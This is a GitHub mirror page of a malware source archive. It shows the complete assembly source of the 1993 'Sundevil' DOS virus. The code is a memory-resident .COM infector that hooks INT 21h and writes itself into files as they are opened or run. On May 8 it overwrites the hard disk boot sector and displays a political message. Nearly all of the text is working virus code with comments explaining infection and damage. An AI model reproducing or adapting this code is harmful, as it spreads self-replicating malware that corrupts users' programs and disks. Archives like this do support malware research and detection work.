mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
365 lines
10 KiB
NASM
365 lines
10 KiB
NASM
;****************************************************************************
|
|
;* The Sundevil Virus *
|
|
;* (C)1993 by Crypt Keeper *
|
|
;****************************************************************************
|
|
|
|
;Parasitic Resident .COM infector
|
|
;Activation Criteria : May 8th of any year (displays message and trashes BSC)
|
|
|
|
;May 8th, 1990 is the date of the Secret Service searches and busts that were
|
|
;conducted as part of Operation Sundevil. This virus is dedicated to all of
|
|
;the victims of this and other federal busts of computer hackers.
|
|
|
|
;The virus will trash the boot sector of the hard disk on May 8th, and
|
|
;display it's message. This damage isn't too bad, and can be easily
|
|
;repaired.
|
|
|
|
CODE SEGMENT
|
|
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
|
|
|
|
TOPMARK EQU $ ;Top of full viral code
|
|
|
|
;Equates --------------------------------------------------------------------
|
|
|
|
VLENGTH EQU BOTMARK-TOPMARK ;Size of virus code
|
|
AMTRES EQU 1000h ;Paragraphs from TOM to put virus
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
ENTRY: CALL GETDELTA
|
|
NOP
|
|
GETDELTA:
|
|
POP BP
|
|
SUB BP,OFFSET(GETDELTA)-1 ;Calculate delta offset
|
|
|
|
START PROC NEAR ;Startup procedure
|
|
MOV AH,2Ah ;Get date
|
|
INT 21h
|
|
|
|
CMP DX,0508h ;March 8th?
|
|
JE TRIGGER ;If so, trigger
|
|
|
|
JMP SHORT NO_TRIGGER ;If not, skip triggering
|
|
TRIGGER:
|
|
MOV AH,19h ;Get default drive
|
|
INT 21h
|
|
|
|
XOR BX,BX ;DS:BX points to data to write
|
|
MOV CX,1 ;Write one sector
|
|
XOR DX,DX ;Beginning with sector zero (boot sec)
|
|
|
|
INT 26h ;Absolute disk write
|
|
POPF ;Get flags off stack
|
|
|
|
PUSH CS
|
|
POP DS
|
|
LEA DX,[BP+OFFSET(MESSAGE)] ;Message to display
|
|
|
|
MOV AH,9 ;Print string
|
|
INT 21h
|
|
|
|
PRTSCR: INT 05h ;Print screen
|
|
JMP SHORT PRTSCR ;forever
|
|
|
|
NO_TRIGGER:
|
|
CALL GETPARA ;Get total paragraphs in machine
|
|
SUB AX,AMTRES ;Get segment where virus code would be
|
|
|
|
PUSH AX
|
|
POP ES
|
|
MOV CX,ES:RESID
|
|
PUSH CS
|
|
POP ES ;Get resident ID word from virus seg
|
|
|
|
CMP CX,CS:[BP+OFFSET(RESID)] ;Already resident?
|
|
JNE INSTALL ;If not, install it
|
|
|
|
SPAWN: LEA SI,[BP+OFFSET(SAVBYT)] ;Offset of saved bytes
|
|
MOV CX,BCLEN ;Length of branch code
|
|
MOV DI,100h
|
|
|
|
REP MOVSB ;Copy original bytes down there
|
|
|
|
MOV AX,100h
|
|
PUSH AX
|
|
RET ;Jump to original program
|
|
INSTALL:
|
|
MOV AX,3521h ;Get INT 21h vector
|
|
INT 21h
|
|
|
|
MOV CS:[BP+OFFSET(I21VECO)],BX
|
|
MOV CS:[BP+OFFSET(I21VECS)],ES ;INT 21h vectors
|
|
|
|
CALL GETPARA
|
|
;Get paragraphs in machine
|
|
SUB AX,AMTRES ;Amount to remain resident
|
|
PUSH AX
|
|
|
|
PUSH AX
|
|
POP ES ;Destination segment
|
|
PUSH CS
|
|
POP DS ;Source segment
|
|
MOV SI,BP ;Delta offset=start of viral code
|
|
XOR DI,DI ;Put viral code at 100h in new seg
|
|
MOV CX,VLENGTH ;Length of viral code
|
|
|
|
REP MOVSB ;Move ourselves up there
|
|
|
|
POP DS ;Segment of interrupt handler
|
|
MOV DX,OFFSET(INTVEC) ;Offset of interrupt handler
|
|
|
|
MOV AX,2521h ;Set INT 21h vector
|
|
INT 21h
|
|
|
|
PUSH CS
|
|
POP ES
|
|
PUSH CS
|
|
POP DS ;Reset all the segments
|
|
|
|
JMP SHORT SPAWN ;Run original program
|
|
START ENDP
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
;This procedure finds the total K of memory in the machine according to
|
|
;INT 12h
|
|
|
|
GETPARA PROC NEAR ;Finds number of paragraphs in machine
|
|
INT 12h ;Get K in machine
|
|
|
|
MOV CX,1024 ;1024 bytes in a K
|
|
MUL CX ;Multiply AX by CX
|
|
|
|
MOV CX,16 ;16 bytes in a segment
|
|
DIV CX ;Divide AX and DX by CX
|
|
|
|
RET ;Return to caller
|
|
GETPARA ENDP
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
;This is the branch code that is written over infected files.
|
|
|
|
TOP_BC EQU $ ;Top of branch code
|
|
|
|
BRANCH: XCHG SI,BP ;Infection ID
|
|
DB 0BBh ;MOV BX,
|
|
VOFFSET DW 0 ;Offset of viral code
|
|
PUSH BX
|
|
RET ;Jump to virus code
|
|
|
|
BOT_BC EQU $ ;Bottom of branch code
|
|
BCLEN EQU BOT_BC-TOP_BC ;Length of branch code
|
|
|
|
;Data -----------------------------------------------------------------------
|
|
|
|
MESSAGE DB 13,10
|
|
DB 'There is no America.',13,10
|
|
DB 'There is no Democracy.',13,10
|
|
DB 'There is only IBM, ITT, and AT&T.',13,10
|
|
DB 13,10
|
|
DB 'This virus is dedicated to all that have been busted',13,10
|
|
DB 'for computer hacking activities.',13,10
|
|
DB 13,10
|
|
DB 'The SunDevil Virus (C)1993 by Crypt Keeper',13,10
|
|
DB '[SUNDEVIL]',13,10,'$'
|
|
|
|
I21VECO DW 0
|
|
I21VECS DW 0 ;Original INT 21h vector
|
|
|
|
CHKBUF DW 0 ;Buffer for checking for infection
|
|
|
|
COM DB 'COM' ;Extension to search for
|
|
|
|
ORIG_DS DW 0
|
|
ORIG_DX DW 0 ;Original DS:DX
|
|
|
|
SAVBYT DB 0CDh
|
|
DB 20h ;For return to DOS on original file
|
|
DB BCLEN-2 DUP ('X')
|
|
|
|
OLDTIME DW 0
|
|
OLDDATE DW 0 ;Old file time and date
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
FUNCTION PROC NEAR ;Calls the original INT 21h vector
|
|
PUSHF
|
|
CALL DWORD PTR CS:I21VECO ;Simulate and Interrupt to INT 21h
|
|
RET
|
|
FUNCTION ENDP
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
INTVEC PROC NEAR ;INT 21h vector
|
|
NOP
|
|
|
|
CMP AH,3Dh ;Open file with handle?
|
|
JE VTRIGGER
|
|
|
|
CMP AX,4300h ;Get file attributes?
|
|
JE VTRIGGER
|
|
|
|
CMP AH,3Eh ;Close file with handle?
|
|
JE VTRIGGER
|
|
|
|
CMP AH,56h ;Rename file?
|
|
JE VTRIGGER
|
|
|
|
CMP AX,4B00h ;Load and execute program?
|
|
JE VTRIGGER
|
|
|
|
CMP AX,4B01h ;Load program?
|
|
JE VTRIGGER
|
|
|
|
JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain
|
|
VTRIGGER:
|
|
PUSH AX
|
|
PUSH BX
|
|
PUSH CX
|
|
PUSH DX
|
|
PUSH SI
|
|
PUSH DI
|
|
PUSH ES
|
|
PUSH DS
|
|
PUSH BP ;Save all the registers
|
|
|
|
MOV CS:ORIG_DS,DS
|
|
MOV CS:ORIG_DX,DX ;Save original DS:DX (filename)
|
|
|
|
CLD ;Clear direction flag
|
|
|
|
PUSH DS
|
|
POP ES
|
|
MOV DI,DX ;DS:DX => ES:DI
|
|
|
|
MOV CX,256 ;256 maximum length
|
|
MOV AL,'.' ;Scan for extension separator
|
|
|
|
REPNE SCASB ;Scan the filename string
|
|
|
|
CMP CX,0 ;If CX is zero, then none found.
|
|
JNE FILE_FOUND ;If found, check for .COM
|
|
|
|
JMP NO_FILE ;If not, end infection
|
|
|
|
FILE_FOUND:
|
|
MOV CX,3 ;Three bytes in extension
|
|
PUSH CS
|
|
POP DS
|
|
MOV SI,OFFSET(COM) ;Is it a .COM file?
|
|
|
|
SCAN: LODSB ;Load byte of extension
|
|
MOV BL,ES:[DI]
|
|
INC DI ;Load byte of filespec
|
|
AND BL,5Fh ;Capitalize
|
|
CMP AL,BL ;Equal?
|
|
JNE END_SEARCH ;If not, end this scan
|
|
DEC CX ;De-increment counter
|
|
JMP SHORT SCAN ;Loop
|
|
END_SEARCH:
|
|
CMP CX,0 ;Did all three match?
|
|
JE INFECT ;If so, infect the file
|
|
|
|
JMP NO_FILE ;If not, skip it.
|
|
|
|
INFECT: MOV DX,CS:ORIG_DS
|
|
MOV DS,DX
|
|
MOV DX,CS:ORIG_DX ;Original filename locaiton
|
|
|
|
MOV AX,3D02h ;Open file for READWRITE access
|
|
CALL FUNCTION
|
|
|
|
MOV BX,AX
|
|
|
|
MOV AX,5700h ;Get file date and time
|
|
CALL FUNCTION
|
|
|
|
MOV CS:OLDTIME,CX
|
|
MOV CS:OLDDATE,DX ;Save old file date and time
|
|
|
|
MOV CX,2 ;Read one word
|
|
PUSH CS
|
|
POP DS
|
|
MOV DX,OFFSET(CHKBUF) ;Check buffer
|
|
|
|
MOV AH,3Fh ;Read file or device
|
|
CALL FUNCTION
|
|
|
|
MOV DX,CS:CHKBUF
|
|
CMP DX,WORD PTR [OFFSET(BRANCH)] ;Already infected?
|
|
JNE GO_AHEAD ;If not, go ahead and infect
|
|
|
|
JMP SHORT ENDINF ;If so, end infection process
|
|
|
|
GO_AHEAD:
|
|
CALL ZEROPTR ;Zero file pointer
|
|
|
|
MOV CX,BCLEN ;Length of branch code
|
|
MOV DX,OFFSET(SAVBYT) ;Offset of saved byte buffer
|
|
|
|
MOV AH,3Fh ;Read file or device
|
|
CALL FUNCTION
|
|
|
|
XOR CX,CX
|
|
XOR DX,DX ;Move zero bytes
|
|
|
|
MOV AX,4202h ;Move from end of file
|
|
CALL FUNCTION
|
|
|
|
ADD AX,100h
|
|
MOV CS:VOFFSET,AX ;Set up code offset in branch
|
|
|
|
MOV CX,VLENGTH ;Length of virus code
|
|
XOR DX,DX ;Offset 00h in segment
|
|
|
|
MOV AH,40h ;Write file or device
|
|
CALL FUNCTION
|
|
|
|
CALL ZEROPTR ;Zero file pointer
|
|
|
|
MOV CX,BCLEN ;Length of branch code
|
|
MOV DX,OFFSET(BRANCH) ;Write the branch code
|
|
|
|
MOV AH,40h ;Write file or device
|
|
CALL FUNCTION
|
|
|
|
ENDINF: MOV CX,OLDTIME
|
|
MOV DX,OLDDATE ;Old file time and date
|
|
|
|
MOV AX,5701h ;Set file date and time
|
|
CALL FUNCTION
|
|
|
|
MOV AH,3Eh ;Close file with handle
|
|
CALL FUNCTION
|
|
|
|
NO_FILE:
|
|
POP BP
|
|
POP DS
|
|
POP ES
|
|
POP DI
|
|
POP SI
|
|
POP DX
|
|
POP CX
|
|
POP BX
|
|
POP AX ;Restore all the registers
|
|
|
|
JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain
|
|
ZEROPTR:
|
|
XOR CX,CX
|
|
XOR DX,DX ;Move zero bytes
|
|
|
|
MOV AX,4200h ;Move from beginning of file
|
|
CALL FUNCTION
|
|
RET ;Return to caller
|
|
INTVEC ENDP
|
|
|
|
;----------------------------------------------------------------------------
|
|
|
|
RESID DW 985Ch ;Resident ID
|
|
|
|
BOTMARK EQU $ ;Bottom of viral code
|
|
|
|
CODE ENDS
|
|
END
|